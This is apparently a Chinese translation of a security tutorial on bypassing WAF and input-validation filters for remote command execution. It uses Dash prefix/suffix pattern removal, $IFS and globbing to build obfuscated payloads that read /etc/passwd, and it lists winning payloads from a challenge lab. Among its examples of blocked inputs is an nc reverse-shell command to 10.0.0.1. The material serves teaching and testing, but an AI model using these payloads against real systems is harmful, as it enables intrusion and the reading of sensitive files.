译文链接:https://www.secjuice.com/bypass-strict-input-validation-with-remove-suffix-and-prefix-pattern/。受个人知识所限及偏见影响,部分内容或存在过度曲解误解,望师傅们包含并提出建议,感谢。
了解如何绕过目标web应用中严格的输入验证,该目标web应用采取了主动措施阻止你发送包含' " ; : / & 空白字符
或其他字符的RCE payload。
摘要
在最近的一篇文章中,我们已经了解了如何使用Bash中的文件名通配的方式来绕过输入验证。这些技术之一就是使用Bash子串从环境变量值中获取特殊字符,例如${PATH:0:1}
就等同于/
。但通常情况下,我们会经常遇见有些系统中的web服务器或是用户他们本身并不使用Bash,而是使用Almquist shell,亦称Dash(或是sh
)。如果使用Dash的话,就不可能利用像是${PATH:0:1}
这样的子串了,但是我们还可以使用其他两种名为“删除匹配的前缀模式”以及“删除匹配的后缀模式”的方法。具体取决于你的PATH环境变量值是什么,如果你的PATH值是以/usr
开头的话,那么${PATH%%u*}
就应该等同于/
。你甚至还可以使用匹配字符范围的语法:${PATH%%[a-z]}*
也等同于/
。
删除匹配的前缀和后缀模式
简而言之,通过在变量名称中使用%%
、%
、#
或是##
,可以实现从左边或右边开始删除部分的变量值。让我们来简单地说明一些示例:
${parameter%word} 最小限度删除后缀的模式。word部分可以是一个具体的字符串,也可以是一个模式字符串,parameter为参数名,parameter部分扩展后的结果赋给parameter参数,该模式匹配的最小后缀部分将被删除。
如:
sh
TEST="foo.bar.sample"; echo ${TEST%.*}
foo.bar
${parameter%%word} 最大限度删除后缀的模式。同样,word部分可以是一个具体的字符串,也可以是一个模式字符串,parameter为参数名,parameter部分扩展后的结果赋给parameter参数,该模式匹配的最大后缀部分将被删除。
如:
sh
TEST="foo.bar.sample"; echo ${TEST%%.*}
foo
${parameter#word} 最小限度删除前缀的模式。word部分可以是一个具体的字符串,也可以是一个模式字符串,parameter为参数名,parameter部分扩展后的结果赋给parameter参数,该模式匹配的最小前缀部分将被删除。
如:
sh
TEST="foo.bar.sample"; echo ${TEST#*.}
bar.sample
${parameter##word} 最大限度删除前缀的模式。word部分可以是一个具体的字符串,也可以是一个模式字符串,parameter为参数名,parameter部分扩展后的结果赋给parameter参数,该模式匹配的最大前缀部分将被删除。
如:
sh
TEST="foo.bar.sample"; echo ${TEST##*.}
sample
这种语法的常见使用场景是更改一系列文件名的扩展名。如果我想重命名/etc
目录下所有的*.conf
文件,将其扩展名改为.txt
,我可以这样做:
sh
for file in $(ls -1 /etc/*.conf); do echo ${file%.*}.txt; done
输入验证
通过为一个客户对其存在RCE漏洞的web应用所打的虚拟补丁进行测试,我发现了一个使用上述技术绕过其输入验证的方法。
假设一个web应用存在远程命令执行漏洞(类似于Drupalgeddon2的任意代码执行),但是却包含了一个输入验证功能,可以阻止发送带有诸如[/"'&|()-;:.,stn`]
等特殊字符的payload,还有一个常用Unix命令的黑名单,其中包含如eval、bash、sh、nc、base64等等(大部分WAF的规则都是这样做的)。如果该web应用允许输入$
、{
和}
字符的话,那么就会有很多种绕过输入验证并执行RCE的方法了。
在本例中,所有下列payload都将会被阻拦:
code=cat+/etc/passwd
(匹配s
和/
)code=/bin/ca?+/e??/??ss??
(匹配s
和/
)code=cd${IFS}/etc;cat${IFS}passwd
(匹配/
)code=nc+-e+/bin/sh+10.0.0.1+1234
(匹配s - /
匹配.
)
那么,有没有可能构造一个不需要正斜杠、引号等字符的payload,并且不去使用那些众所周知的能够触发WAF的Unix命令?我已经创造了这一挑战靶场:https://github.com/theMiddleBlue/challenge-bypass-input-validation。
这一思路主要就是从目标shell环境变量中获取到特殊的字符。例如,我们可以通过使用子串0:1(类似于Bash中的${PATH:0:1}
)从$PATH
变量的值中获取,而并不是直接使用/
字符。
在上述截图中,我利用${PATH:0:1}
将/etc/passwd
的完整路径连接起来,用${PATH:0:1}
代替了/
。可问题是,PHP shell通常是使用Dash(或/bin/sh),你无法使用这种子串的语法来实现远程命令执行。
在Dash中,可以使用“删除匹配的前缀模式”和“删除匹配的后缀模式”语法,来代替使用子串。例如,根据目标PATH变量的具体内容进行决定:
${PATH%%u*}
应该等于/
${PATH##*s????}
应该等于/bin
${PATH%%[a-z]*}
应该等于/
于是,为了获取到etc/passwd
中的内容,我已经利用这一语法绕过的web应用的输入验证:
sh
cat${IFS}${PATH%%u*}etc${PATH%%u*}passwd
需要记住:该语法的使用取决于目标PATH变量值是如何的。所以说,如果在/
后面的第一个字母是“u”的话(比如PATH=/usr/bin:....
)${PATH%%u*}
就等于/
。举例,如果目标PATH变量开头为PATH=/home/themiddle/bin:...,那么 ${PATH%%h*}
就等于/
。
现在的问题是,由于我的payload中包含了“cat”,“etc”和“passwd”字符串,导致其被这种松散和脆弱的WAF拦截了,因为使用了常用的Unix命令和路径。我就需要使用Glogging Patterns(通配模式)来混淆我的payload,但我仍需要完整的路径来执行带有通配模式的命令,比如/bin/c??
,而不是"cat",解决方案如下:
- 执行
env
命令查看所有的变量值 - 利用
${PATH##*s????}
从$PATH
变量中获取/bin
- 利用
${PATH%%u*}
从$PATH
变量中获取/
- 利用
$IFS
代替空格
sh
code=${PATH##*s????}${PATH%%u*}c??${IFS}${PATH%%u*}e??${PATH%%u*}??ss??
这条shell在我的终端上是正常执行的,但让我们来看一下是否能够有效执行RCE。首先我要检查一下我所能使用的变量:
并且正如你所看到的那样,未经混淆的payload被web应用的输入验证给拦截了:
所以,首先我就需要绕过这些“特殊”字符的过滤。之前有讲到过,这里可以使用${PATH%%u*}
来代替/
,使用${IFS}
代替空格。
接下来就需要继续绕过“WAF”的常用Unix命令和路径黑名单。可以看到的是,我的payload cat${IFS}${PATH%%u*}etc${PATH%%u*}passwd
被拦截了:
要绕过这一限制,我可以使用通配模式混淆常用的命令和路径,不过我需要使用/b??/c??
混淆完整路径/bin/cat
来执行“cat”命令。所以,我可以利用 ${PATH##*s????}
获取到/bin/
。
接下来我要利用这一语法执行/b??/c?? /e??/??ss??
:
sh
${PATH##*s????}${PATH%%u*}c??${IFS}${PATH%%u*}e??${PATH%%u*}??ss??
同样的利用“未初始化变量”的方法来混淆命令和路径也可以实现,如:
sh
${PATH##*s????}${PATH%%u*}ca${u}t${IFS}${PATH%%u*}et${u}c${PATH%%u*}pas${u}swd
我可以通过从$PHP_CFLAGS
值的第一个字符获取“-”,来实现执行更复杂的包含参数的命令(例如bash -c
)。举例,我可以发送下列payload实现执行/bin/bash -c ls
:
sh
${PATH##*s????}${PATH%%u*}bas${u}h${IFS}${PHP_CFLAGS%%f*}c${IFS}l${u}s
Bash的绕过更加简单
如果该目标应用,不管是出于什么原因,使用了Bash,可以使用子串语法(例如从 ${PATH:0:1}
中获取/
),而这种方式会让绕过变得更加简单。例如:
/bi?/ca? /et?/??sswd
可以变成
sh
${PATH:0:1}bi?${PATH:0:1}ca?${IFS}${PATH:0:1}et?${PATH:0:1}??sswd
相关文章
- https://medium.com/secjuice/waf-evasion-techniques-718026d693d8
- https://www.secjuice.com/web-application-firewall-waf-evasion/
挑战成功赢家
1st kusky3 payload
sh
tail${IFS}${APACHE_CONFDIR%${APACHE_CONFDIR#?}}et?${APACHE_CONFDIR%${APACHE_CONFDIR#?}}pas?wd
2nd Sparrrgh payload
sh
c${a}at${IFS}${APACHE_CONFDIR%apache2}pas${s}swd
3rd DrV payload
sh
ca${jjj}t${IFS}${APACHE_RUN_DIR%???????????????}et${jjj}c${APACHE_RUN_DIR%???????????????}pas${jjj}swd
4th glauco payload
sh
c${u}at${IFS}${PHP_INI_DIR%%u*p}e${u}tc${PHP_INI_DIR%%u*p}p${u}asswd
一、关于HttpClient ssrf是比较常见的漏洞,可以利用存在缺陷的web应用作为代理攻击远程和本地的服务器。一般存在于可以发起网络请求的方法和对应的业务。 HttpClient 是 Apache 的项目,…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论